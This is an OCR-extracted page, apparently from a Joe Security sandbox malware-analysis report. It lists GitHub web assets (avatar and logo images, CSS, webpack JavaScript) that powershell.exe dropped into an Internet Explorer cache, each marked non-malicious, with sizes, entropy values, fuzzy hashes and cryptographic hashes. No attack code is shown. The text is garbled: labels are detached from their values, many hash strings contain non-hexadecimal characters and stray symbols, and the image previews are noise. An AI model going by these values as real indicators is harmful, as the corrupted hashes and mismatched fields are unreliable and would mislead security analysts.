{12070:(t,e,_)=>{var E=_(66681),n=_(38257),a=_(14840),M=_(57260),D=_(13002),P=_(73921),m=_(27034),h=_(51941),9=_(88309),5=_(40987),u=_(57852),0=_
(88823),d=_(19935)},19935:(t,e,_)=>{var E=_(27034);window.IncludeFragmentElement.prototype.fetch=n=>(n.headers.append("X-Requested-With","XMLHttpReque
st"),window.fetch(n))}},t=>{var e=I(E=>t(t.s=E),"__webpack_exec__");t.0(0,[5329,2486,3706],()=>e(12070));var _=t.O()}]);})();..//# sourceMappingURL=github-elements-
175a0b856430.js.map

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\hashicorp[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 64 x 64, 8-bit/color RGB, non-interlaced
Category: dropped

Size (bytes): 1134

Entropy (8bit):  7.673348568689686

Encrypted: false

SSDEEP: 24:7m2TaHPNygnKrzJXvig9CA+bjLZxeeOfxa+tPIl+YgbE/:/TavNyDJ/RQfLma+twSA/

MD5: E18416EBAD11A8D2C62D9158F90A49B3

SHA1L: A2F93B9DC1AFBEBEO0553BDE99574B4861F2697A6

SHA-256: FA49935C2BA89421753E8EDB12D74C94C776422EE45FD6C28E46D73640ACCEBB

SHA-512: F977DD66F6C01B759C62EE844F781A8527389BC27FOCIFAS5A54EFSEAD8CAOF8417D0OF09BA90A61E624D385B15FBC2D79ACCEEFID6EBO128ESE7552AF13953
BO

Malicious: false

Reputation: unknown

Preview: PNG.......IHDR...@...@....%....5IDATX..KH:_..gj"T....H" BQ BE...i.&......JE....(Z$-" \...\..N).haEJ."..4..y.?6.g..._W.y..g..q.............B+..C777IM.....a_t{{...h...d...~.aR4

. qCC.H@.!dO.>........... 8. yy..FV.US$.Z...
Ki(_L..EEEv.=.1>....Y..8...A.@..Z...@.....C.MLL..42.R....... SV - S =R
JL..PV..4.b.2.= @.C.\F.Z....C....f.H$I>|....5:.555..4..." tWWWE.......0...hmm...P.
JFSVend. TAYY.L@.R..0.........Y..Az~aaA.R..-T\\....P(xG.0.

5. %...0..Verryi D 73.GY... ... >, US..C..15..P.Z].. V..
.CCC... }KK.5.C.P....Q]]. +..-$gff........[t.$INOO.g...(jss3..D"...e.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\home-assistant[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 3417

Entropy (8bit):  7.921860366348668

Encrypted: false

SSDEEP: 96:uDDioihXaaDzzgeQGQKNHuUYJGT1sLSAop4yPKuoUT:uDDiVFbgeQmcYJu3AoDCu/

MD5: A0593C5009B49A97B472341AB183CB62

SHAL: C861174FFC3252F793F0E173C940A0A948BE5102

SHA-256: 08A9605E6B22AEED6DB49C2446035411AA8CD69510E89A53757BA6E491D4ES12

SHA-512: F8FCO04A6A8AB55BE011D3EE18731B3A7F5BIF55BCE74A7ASCB77B87EA64BD6978A3719EB10F4654920161104F0CA637CE93FE86D25BC97BFEADDB954AD030
C09
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Malicious:
Reputation:

Preview:

false

unknown
PNG........ IHDR...@...@......i.... IDATX.[yI.....7...K.$B.....C........... #.U.j.."D..M.$N.H.iQ%..(G.TQ..G/....0.s.....$...Y .. { zofvg../..g=....... ofu!..d..7..7]......9..A.P"
LALLT7 M >.@.9....4-.Rz.g-aT ......i..S....|;H5.C..e..Y.,.p..1#.h...3...>.C. K...B6....=g._.'D..".... }........ a.*..0..@QUJ[[._...@.D.<..LR+....... J..P.@E....l.

w...u..xbl5..Ppf.3..8..A+.G...U.8.....A8.Tbv..C..m....n..\.s..C......... J..%.ho...H(....ta. #......... eX..H4...4.0.h_../|. G..MN..k..+...c.DZ.....|.g#..Ih.. X..>f.0q..{_.Z.*.|.@...). &>
&11.$r_Z.*.3-Xoooijooe o A% B & X B A< [+P_Y. . L.Eho 6.2.c....Q. ... OpU.L...F[T".....0."F.p0O.Y..q.B.T.....2]@...1-@...Z+r....
\.J.E$4G<. . Xf. f.(...q.,. ..g4_...f...C&L.q.#p...[.QW....p.f.;.[.....IKiIBAlgamtY.. p"l.s]....bXvi./~.@w...?./...BW....sHK.i......")..=.d._.......1.8.......".8cr.Y.z.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\home-e461cf7ec7b7[1].css

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

24751

5.135298653819496

false

384:YUSSqgxV5IH98nMdmaB1sh0QonXMQedQeededdeBCCtQnfb TFCMJI7nlIK/9rdvqy:YUSSqxV5s8fb TFCKK/9EvVqy
2966AFD24458BAF50B22DD097575E835

B83562E2CDF80699E59F2ED770EB42A096B88869
3AF56BB676D9A3076EBS0AECDBD010D3E606A399EDF3F37DCA9237BE733B309B
E461CF7EC7B71259082FEFA4346727E702AA75D35197EA7A900A444C95E80696CB9I6827CEBA397E25C136F3CBIF47929E8D704E74158B3C6C29FEC7B4579A05¢
false

unknown

.home-hero-container{min-height:750px;max-height:926px;background-color:#040d21}@media(min-width: 544px){.home-hero-container{min-height:850px}}@media(min-
width: 768px){.home-hero-container{height:94vh;min-height:860px}}.nome-hero{padding:8rem 0 0}@media(min-width: 768px){.home-hero{padding:8rem 0}}.home-astro-
monafleft:50%;max-width:480px;transform:translateX(-50%)}@media(min-width: 768px){.home-globe-container{height:auto}}.home-globe-container-video,.home-globe-c
ontainer-webgl{position:relative;left:-100vw;width:300vw;height:150vw; max-height:900px;margin-left:-0.9rem}@media(min-width: 768px){.home-globe-container-video,
.home-globe-container-webgl{margin-left:-2rem}}@media(min-width: 1012px){.home-globe-container-video,.home-globe-container-webgl{left:0;width:900px;height:900px
;margin-left:-150px}}.home-globe::after{position:absolute;top:0;right:-2rem;bottom:0;left:-2rem;display:block;pointer-events:none;content:"';background:linear-gradient(to
bottom, rgba(4, 13, 33, 0) 0%, #040d21

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\jasonetco[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

JPEG image data, baseline, precision 8, 64x64, frames 3

dropped

1464

7.659984728117086

false
24:Q9YMFMOXXDuLHeOWXG427DAJuLHenX35LbWLSdq9f4fjNjIhphX+IWdYNBEF8W:Q9YM+UETAESdqI8BhAWOW
2AE1B03F05D570C735500E4438F3B8F5

6ABF2B4F50678663B593131799ED061E463453D7
C3263FADEOB759C2C3B4604C49B77904C71AF01F0952A3C5FE67BOADCA71F948
56591E228FC8299FE71B78CD059D3EOBEFDEEE653C41256DBB0D5875F53CEC6526653F6412EDD997126E73EE220649942E967BE1EF839A154424183275F46AD(

false

unknown

. 0.2:0ZR.8.8...~...m>]K....=9...E.5m..>?.}j...e....1..D~C.XV#..M.D|.......
{8.4.9.1.].2uy..$.dRAM kn..L......8...0.X...=....YB.H...19...N8RA.......k;w4.0C..\W........C8....j../.zM.....b.mC....\...mz.JV.Ka4..8l.1...m....2.p .b..L......VM.t...c4[B.ORT
*bF.3..N.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\joshaber[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

JPEG image data, baseline, precision 8, 64x64, frames 3

dropped

1919

7.7742945628622655

false
48:Q9YM+uETApowTscs17FconF1C+yclWuOOcMoaOVRVRFK:ohBEsrsjHcwFs+b0LaOVBK
BB7C281E76DA5A095BF1E9E665539053
5B520180609A0D7DCF2AAASBCF18CA78253E3BBC
E941B8345AB558C8BEB70FD665F11D5DF71558AA796FBOB1FECF634A315A36CA

3D376BAA2A90COFAFATIAC17C53A5291D0A0453AA587B2EC3F0C52084157BF54E2C7CDAAGE4ADE160AA2A50B35B13BD8514EAC76869ADFDA1C56D964D9FC11¢
B38
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Malicious: false
Reputation: unknown

Preview: s $.' " #..(7),01444.'9=82<.342........... 21.122222222222222222222222222222222222222222222222222......@0.@.." ...ve e

Xl#LLLY X
...0.40....U.E.Q..m" A,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\kubernetes[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 3948

Entropy (8bit):  7.948062043584027

Encrypted: false

SSDEEP: 96:/05jluQrK/ZKp2fw0Z CfHjjRGxIgj9a8fH5md:/gjg+/iXGQxxj9a8fHEd

MDS5: 8FBECC7F9FB3ESAE3B4ACOD126EEF642

SHAL: 95687F8E873ED443DABFB7E15BES59FD36326C11

SHA-256: E8A00B2A528F0A3DBBA13BB2E14C6EE738C7E465804646F32DE38158BCE58931

SHA-512: 79F9A2AD5F28B6ABF1A65C76A1869D79711CC91E1F3DB17E46A5DF38800401BF4081B3A55D5F798A88BC835AD7A6846CFFE925C4234E7E050ACDCA9393DAAF
Cc3

Malicious: false

Reputation: unknown

Preview: .PNG

A.(Bj.20...Y,.b(h:.....[y{...f(h.c.. ..T.%j...c........U[LN.=.z..
' 0.G..FM b3 AXLS LR NADx#< f/$<.. {.&
L8lLI(>B>.. H.K_S.*F&.an&.T>....fp.+fW.P..i

z.....0..£.X.K~X.UG\Q.?.k..).Ig....,.5m..|....m..aW._6Z..
[......,i".20..1B.0....Sa..0.z..I....%w.C(B...=ai.2g.0.1..G.P9...
.1.3....D5c.\z V.._w....Q..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\notifications-global-28a2c6fa1139[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 31708

Entropy (8bit):  5.351897447249078

Encrypted: false

SSDEEP: 768:312GNVy20yKXVsPKOQMYRN6ERIHLjA4hLA2MdMvKrDe3syFglYVoxMeagarDFE/NE:3NUjLA+gIOpRXg/NJGeT7RzI

MD5: 651FAFCFCC2CFED5B545005DA5859290

SHA1L: 32AF7DCOF227EAOFDADA4D6A984F1CDC29DAA7CB

SHA-256: CB6D80ADFE969B0OF2757FC1116A1F33060C341EC739972A0AFE7C1DB4A378411

SHA-512: 28A2C6FA1139B823091F1C2872C1F7590358CD3DEA7ED46390D7BB2F46F968E320A12E624F9A160C8C218B2DFC69D4D6C20EB1768998796BE2DBEC100633810
Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var it=Object.defineProperty;var a=(k,P)=>it(k,"name" ,{value:P,configurable:!0});(global This.webpackChunk=globalThis.webpackChunk||[]).push([

[6434,3302],{52134:(k,P,b)=>{b.d(P,{H:()=>Vv,v:()=>Yy});var 0=b(59753);function y(){const I=document.getElementByld("ajax-error-message");|&&(l.hidden=!1)}a(y,"sh
owGlobalError");function v(){const I=document.getElementByld("ajax-error-message");|&&(l.hidden=!0)}a(v,"hideGlobalError"),(0,0.0n)("deprecatedAjaxError","[data-
remote]",function(l){const c=l.detail {error:A,text:g}=c;l.currentTarget===I.target&&(A==="abort"||A==="canceled"||(/<html/.test(g) ?(y(),|.stoplmmediatePropagation()):se
tTimeout(function(){l.defaultPrevented||y()},0)))}),(0,0.0n)("deprecatedAjaxSend","[data-remote]", function(){v()}),(0,0.on)("click"," js-ajax-error-dismiss",function()}{v(
)h},82453:(k,P,b)=>{b.d(P {Ty:()=>y,YE:()=>v,Zf:()=>I});var 0=b(11793);const y=a(()=>{const c=document.querySelector("'meta[name=keyboard-shortcuts-preference]"
);return c?c.content

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\nplasterer[1].jpg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: JPEG image data, baseline, precision 8, 64x64, frames 3
Category: dropped

Size (bytes): 1638

Entropy (8bit): 7.704378083785743

Encrypted: false

SSDEEP: 24:Q9YMFMOXXDuLHeOWXG427DAJuLHenX3f8fXImXMj8lbuVRSqUed]8IKR5zehDibF:Q9YM+uETA8rVaVR{18IK/zeULOYUIUu

MD5: BAE173DC459C2924A78ECD1FD4BCA229

SHAL: 39DAFA5EFEFAG80B8E8B47C6B84657D96604C11A

SHA-256: 316A2733E829E3EO0CDOFEDE8B74AEC2BDE33F2DC999F17409675C6558E749CC7

SHA-512: B19396E644988EE69E2DB2ABC69C5EDACA5B115105E0BDA73C6995F9C1DCE29DC8886F3B506AE945840E44C43DBEOFSE0171BDE2DFB696C2E2306ED2BBAF¢
B37

Copyright Joe Security LLC 2022 Page 28 of 342



Malicious:
Reputation:

Preview:

false

unknown

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...
.11..AQ.aq."2...B.... #3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijstuvwxyz.... 3.
n2.GL2) L # X\ <) Els.n.. . 34.ulK * K....Y..V[.."%..._P76..1.d7M.v~..-.....p.....USPV.... j+c)..4.wDix.T...k..<Y...(".0.0..3.T~?..U..i..].....2J.B.T. k...vD...?J.0xU..=.FQ.
...... "....kd.0 {".21.3.c.~..0..Xdy.....LS..r..8.d2.....19S...s.vl....-..4.t\.Jp...z....... IP.+p...n1.V7...?._uh....<..q....5..C1.n@.]..(..Y.}.N... JE..y..ubO9......_.mq...G#

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\npm[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 64 x 64, 8-bit/color RGB, non-interlaced

dropped

304

6.7041776746506425

false
6:6v/IhPEQViFLsdSNsM5NFE50aKKFz+3c33hEjoFFo45cyAVgKiM7cySIS5p:6v/7cQyAbKNFE509KJ/33hEj3CcyAEMYV
F0038143C372F294AD630942FE5BCFID

8EBE20A4FB150D8794864535C98012016AF08AAL
778D7D84CD66EFEEIDAS84E6E884FE2DE4A0A61822A306905C9CCOD6AB225B83

9A363245B87ED17EAOB8SEEFAE7352CDEF2AE454D14AD25E2A82EEF3831338D39340FFDFC962986922EA1EFE84D8AFCFA7120DC6557803CEF5AA837C8523D(
17

false

unknown

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\ohmyzsh[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced

dropped

3402

7.921780077244673

false

96:vm8q5+zwh3hFRhJ1floL/NiPaNsmlaMvz28:ep8clFPf14NiPaNd179
E8C21DF5F5E2163A11FBCD3C7BDF8FB6
FBOFB81CE5D0203DA21E339D4B0O0EAID6C2E769A
E67A77B8FE93822C7D7D2AA678ECEC35B5A2F7B91D55B551C815F91BES9DEBA3

516C2D0BABD310B4944668062CF751D9BDE88490B59A03B21D676917C7BC6ECFAF77387EA522B52AEB887871BFB88B3B4B863D8759BBFC50BA87069FBDOCBC
C3

false
unknown

RRIN G- IHDR...@...@

iq..... IDATX..Z.P.....(.f..(.U....b.9..B.G:h. X..$.)...Y Ly +.xL.).. o yfWemuyf < x..8.0...6.. mu.n. X K L& B ML u.....GN..)
<<|......C...d2._ttt.S.(++c= =z.9:...Lv...L.HT.....G..JNpWc...8........... +.1C.t. Voo ) ._000...4M...C....7w...Imm...[..>s]...@go.hp.....E..k.9..S.@,...9....9].p....
ST B S*, /I0OXwgaga.....l.....~b...pn.5w.. L. .|.t.+5> }...8y" LUV.].~W.. 4. _~....b.... ?.>1k..6e...._}U...{f0.u.+. . -[X}[XPP.t.u..y.UUU.Q.Fu.3.@
JQ.T...1%{...j.=x..,.. .U}}=Kiia...b)))......X.={Xdd$..1l....... =z..).F... |...I.I..zBB....&.i.&.W.Z._RRB.".._.e..L".._~E83v.X.....N.8AF..."..wx.um.KMM,....b.g...&
p}.7~ (95 ={.pEEE....a....U\~...(U 77..WZ.4y"....~.... Kb.....Y..&..>..C*..Gslll6s.La..../(.\........p{xJ.EEE.333..°0..I'M.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\pmarsceill[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 64 x 64, 8-bit/color RGB, non-interlaced

dropped

5802

7.892737288747293

false
96:qarUohZkLYdK38MVuifRYesXOG4p1X/hhcw3+UAorRbyIVIJUGITu:gkFWLYdKvLpYXxXW3Lcw3p78laGtu
676C9D5995B9C91B955B929CBIFF757D

676D6510CF3CD61DD9B301BBE28A3C7FF3C8E516
9E6B3F65D11292419D07DE59C0C4C15CB51CBFF43462B8C62E1463F4B03D8703

5860EA5F86AADS50278582F28ED80971A881495BCCC2F1AF4057B770B6BI9F05B54A95D50922DBE34C991EBC717AEF7AC5A5F2E9BO3E493EBD17C35338035D834
7

false

unknown
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Preview: PNG........ IHDR...@...@.....%.....qIDATX..Z.0\Y.z.\..S....!1$(....DZ............ A8z, @ VSR Ay dL U WN = w~awdig.aY ML >l 6.cbbbss 3. w.~..
vl ~AMBs.). Ee..i@.$...4M.ar. {.....%]....y.S:.8..q..N.....W..ELL..oonnn +AM...q\>.".._gF>...0M.;.y......0...F.Ep....7;;.._...%EQd....N.$I'.>f...m..0...~....

.X....0L..a.>.C..).04M_.x...7x."f...~#Y.Nv.;.....a......... /..u4M)...S.y.Ei..4.l\.....0...0.@...@vV..(.B/_... k.. o ~...c.0.D.
<l..$.<$...|P*.L.1Er.CE.... n.._~...m.,..4.F.0.CQ.....B..y"$.]..rm..g.q.;.s|:L.t]..0... . ALA ... ..<...<.0..,.2A....Eq.GQ.OL../A...._"*. . W.fsmm.q....r.
<66..*|.M....5.$$.6.Eb,.......... C.N.CQ.$I.["4]..b.X..~.Q..q.G e AR (Y [ 4M.w'?.0,.2°.n ..&..".....>.h~~..a.q.,.0.F.E...\R..</.b.....q.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\runtime-51fc180fd3a8[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 15230

Entropy (8bit):  6.14314735098286

Encrypted: false

SSDEEP: 384:21L8ypFaka2G+UUumfhaOWkIkt9GhQ5q8/iJWh:bBaN2G+DumJwk1GhQ5hal

MD5: FFEEC213FF11973FD1114CBA8414D4B4

SHAL: 5D69697DE1E155DAE769D34D804F39F8A9CB3652

SHA-256: 26BCBBE5885C165B1DFAF3CESEFCF72BF462C63DF71B61EF9C80B717EFDBC042

SHA-512: 51FC180FD3A8744C3296793AA223604F6AFB739FE101357D868FDE61BF18FE4AFA3AC379A5EB409A5626AFCFFE935C0BC7B92095F83AF3AB626AEFD761A427¢8
B

Malicious: false

Reputation: unknown

Preview: (()=>{var p=Object.defineProperty;var C=(K,R)=>p(K,"name" {value:R,configurable:!0});(()=>{"use strict";var K={},R={};function S(H){var f=R[H];if(fl==void O)return f.expo

rts;var r=R[H]={id:H,loaded:!1,exports:{}};return K[H].call(r.exports,r,r.exports,S),r.loaded=!0,r.exports}C(S,"__webpack_require__"),S.m=K,(()=>{var H=[];S.O=(f,r,a,t)=>
{if(r){t=t||0;for(var e=H.length;e>0&&H[e-1][2]>t;e--)H[e]=H[e-1];H[e]=[r,a,t];return}for(var c=1/0,e=0;e<H.length;e++){for(var(r,a,tj]=H[e],A=!0,b=0;b<r.length;b++)(t&!1|
|c>=t)&&Object.keys(S.0).every(s=>S.0[s](r[b])) ?r.splice(b--,1):(A=!1,t<c&&(c=t));if(A){H.splice(e--,1);var i=a();i'==void 0&&(f=i)}}return f}})(),S.n=H=>{var f=H&&H.__es
Module?()=>H.default:()=>H;return S.d(f {a:f}),f},(()=>{var H=Object.getPrototypeOf?r=>0Object.getPrototypeOf(r):r=>r.__proto__f;S.t=function(r,a){if(a&1&&(r=this(r)),a&8
||ltypeof r=="object"&&r&&(a&4&&r.__esModule||a&16&&typeof r.then=="function"))return r;var t=Object.create(null);S.r(t);var e={};f=f||[null, H{}),H([]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\rust-lang[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 3797

Entropy (8bit):  7.916848521005625

Encrypted: false

SSDEEP: 96:5vkQiJC/mAdiwcFy5pGyyHOuwm/p7xByfrTE2nFIgwlX:BkQig9YAkyyHIv/p7TOUA6Z1X

MD5: 1AA908749998207694A125F4ABE7485F7

SHA1L: FE649A7EA924435F0DA356A52E5B2322831A173F

SHA-256: FEA8625851D08A10DC513B70AEAB63B40DB351A82E6A90F1877D4BAC80481914

SHA-512: 1B485BE106006C98DFCA50DAEC59FF4733AD51775B1F64DCEC54CB63B8C1A7ECAOB1A0508533C259B79604E49F7AF8FA24B54072CE1A71445AABD3DF377075
00

Malicious: false

Reputation: unknown

Preview:

P+ LY FXG.8NIaz pn. >t Z..05Y...C.. TKYGL - h2...... 2Xf&. g. ... @....0p*?...%H.q.... W:.58.... xk6.y..B.,.Z.f.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\site-c0607420942f[1].css

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: UTF-8 Unicode text, with very long lines

Category: dropped

Size (bytes): 46219

Entropy (8bit):  5.162422896612759

Encrypted: false

SSDEEP: 768:aFM5agCkUGgli2mzTf8fatWWs/Dz5DjA/uXd:/gldmkDz5DjA/uXd

MD5: 4E3C133CF292729555B3ABD7A131A679

SHAL: 1B679B7EB39E32C5241D1121D9465285FAA88F8D

SHA-256: 09C8934E41A9185DACA3F2F6F1F630D7DEF80D903456E7852E9BEACOF48BBE04

SHA-512: C0607420942F5A0BACA434A4778271BEB80313591942B9225101B87ECD4F5752193C67C8496D007E66COF0A0D12787587466F4629586144BBEDSFI9BIFD961A9B9
Malicious: false

Reputation: unknown
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Preview:

[*1. * @primer/css/marketing. * http://primer.style/css. *. * Released under MIT license. Copyright (c) 2019 GitHub Inc.. */.h0-mktg,.h1-mktg,.h2-mktg,.h3-mktg,.h4-mktg,.
h5-mktg,.h6-mktg{font-family:"Alliance No.1",-apple-system,BlinkMacSystemFont,"Segoe Ul",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe Ul Emoji","Segoe Ul
Symbol";font-feature-settings:"ss02" on,"ss01" on;font-weight:600 limportant;letter-spacing:-0.01em !important}.hO-mktg{font-size:48px !important;line-height:52px limp
ortant;font-weight:800 limportant}@media(min-width: 768px){.h0-mktg{font-size:72px limportant;line-height:76px limportant}}@media(min-width: 1012px){.h0-mktg{font-
size:96px limportant;line-height:100px limportant}}.h1-mktg{font-size:40px limportant;line-height:44px limportant;font-weight:800 limportant}@media(min-width: 768px){.
h1-mktg{font-size:56px limportant;line-height:60px !important;letter-spacing:-0.03em !limportant}}@media(min-width: 1012px){.h1-mktg{font-size:72px limportant;line-
height:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\sophshep[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 64 x 64, 8-bit/color RGB, non-interlaced

dropped

8022

7.956883772853771

false
192:1XiQ0Z+{7II/RUjG5PcaDZX/Ur9nZJH1ofeOwnm2gD/StM8M:1Xitall/SAtv89ZJH1olncSuF
194B88DEAOF6F3839BE72E76E14D5201
19F8F16EOCCB9ACCASEC8A702684FB6BOAFCD2C2
621D8A858C76FA1587AEA3102B2DBC757A63F6515D32076F07F51BOC4FA39BD3

3F71BE2730AA75A4A72C2A732D40AC5BB714562DAB154768878CAABO071DA9D75CASE3D8F11BCC67BDOF2B2BEG693B56EB39CFB244471EF48FA12DES460151%
55

false
unknown

L_Ved.2ve~—~...._\
.>8z. Lt 9 st Pl
..Qk..N%*x....s.n. =

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\tensorflow[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced

dropped

1618

7.871574560303506

false
24:iCGlkqGTt+IVRtxIApquYHsUIBSRp6d05+Gz/CqqLPjenbXTggd8c:iXnGQJIVXPApqu+8MEO5pASI7c
42D8E4946B5FE22A86330DE359D1800F

0AA212A971EE662A44650F440B930E3B83D54778
6B9180943DA6AIFC91BD41C824D7BAF5050EB48EB9247F1E8AG604E329198C1FC
6D21F3A36CF9DB80321CF2F6AAOFFF33D82AB378F10DAG50F7D784A6645BF1A01BE6309291C09D7173FC793E768BCE6B1496B35493E368C933367612CB36CAC
false

unknown

Lzl CALLLULL
o JUweHhe<ld
.Z- JIR.7.#Jo..p..0..R.<..b.p.,.<Lsl0l.e'.W.)]Q.S&f)."....4.e.8S,.Z.x.2ZN...A..4 >hm2.%1T {... T.{..n.z...)lc.% x*~ " ..y>.BmgR...aV.J>.M.|...3fL"..E..D
S.7H.-..>J.n..82<.M...0..[.1.B7.$K+.n.L..E4....d...qJ.._...... df.$..x. VL #.T.....c6Kh#.~..p5.._..@D&F|. j.F.. fl....-1k..H......GO.z.*..RMs\W....D...b.4'@.....C......

IK' 5o EX[.O.K.N.€GX)O..." ... #. % WICi.....V].cooooe.oo.n. €. H...t.ID@. 2.T...<.n#F..[Ew...j.U...id...a\..u].>Q?X....X.VBZ....e..}..f..1.S@.MZ_?.2..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\3198-f068837ff3a6[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

584354

5.4737919687015175

false
12288:/79AAWVD+w5a9bHRrhOIEKOLAOhWsXjFDKL/EhbkgDbaSJc2sMfmPX6bPgrQiQ:/GDDRwWNHRrhOIEKOLAOhWsXjFelLcbFnv
6CBD2CDDAA13919BA086CA976336DA36

DB917D2507B55110D56EB1A5CA79010EA30030E8
1B4FC24210AC65DB74ACE6BEAAFOEF22841873FAC77CD6CAC104AD50B3FA7223
F068837FF3A61915313E6BC5A72A345251DBBAEA2DA52146B3BD42BF7666FFDFD68F208C704683A56B7877E12261F8BEFF26483A415E2A314D22B5064E61E86E
false

unknown
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Preview: (()=>{var Zc=0Object.defineProperty;var v=(zr,0i)=>Zc(zr,"name" ,{value:Oi,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk]|[]).push([[3198],{23198:
()=>{/*! For license information please see main.js.LICENSE.txt */(()=>{var zr={804:(de,ge,ye)=>{"use strict";var tt=ye(191),Ze=ye(516),ht=ye(458),rt=ye(981);(de.exp
orts=function(ze,De){var Ae,st,pt,Je,mt;return arguments.length<2||typeof ze!="string"?(Je=De,De=ze,ze=null):Je=arguments[2],ze==null?(Ae=pt=!0,st=!1):(Ae=rt.ca
li(ze,"c"),st=rt.call(ze,"e"),pt=rt.call(ze,"w")),mt={value:De,configurable:Ae,enumerable:st,writable:pt},Je?tt(Ze(Je), mt):mt}).gs=function(ze,De,Ae){var st,pt,Je,mt;return
typeof ze!="string"?(Je=Ae,Ae=De,De=ze,ze=null):Je=arguments[3],De==null?De=void 0:ht(De)?Ae==null?Ae=void 0:ht(Ae)||(Je=Ae,Ae=void 0):(Je=De,De=Ae=void 0),z
e==null?(st=!0,pt=!1):(st=rt.call(ze,"c"),pt=rt.call(ze,"e")),mt={get:De,set:Ae,configurable:st,enumerable:pt},Je?tt(Ze(Je),mt):mt}},430:de=>{"use strict";de.exports=func

tion(){3}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\actions-autocomplete[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 1412 x 86, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 3378

Entropy (8bit):  7.843503869374796

Encrypted: false

SSDEEP: 96:m0yMD1RKda3Eof8Wjm61p8ecS9eTSYEKMViPIN3mFzgM:HyMDT3XxERgqmMS9eTS5ulFd

MDS5: ABCBAFAOAFES5EBC800560CE9CAEEF6B

SHAL: C506FF9BACF987321AC83C19A0B2BB5284633C58

SHA-256: 34D67570F097503B65D61C745155224C95548E0A46CD5A87B00F62495101DF8A

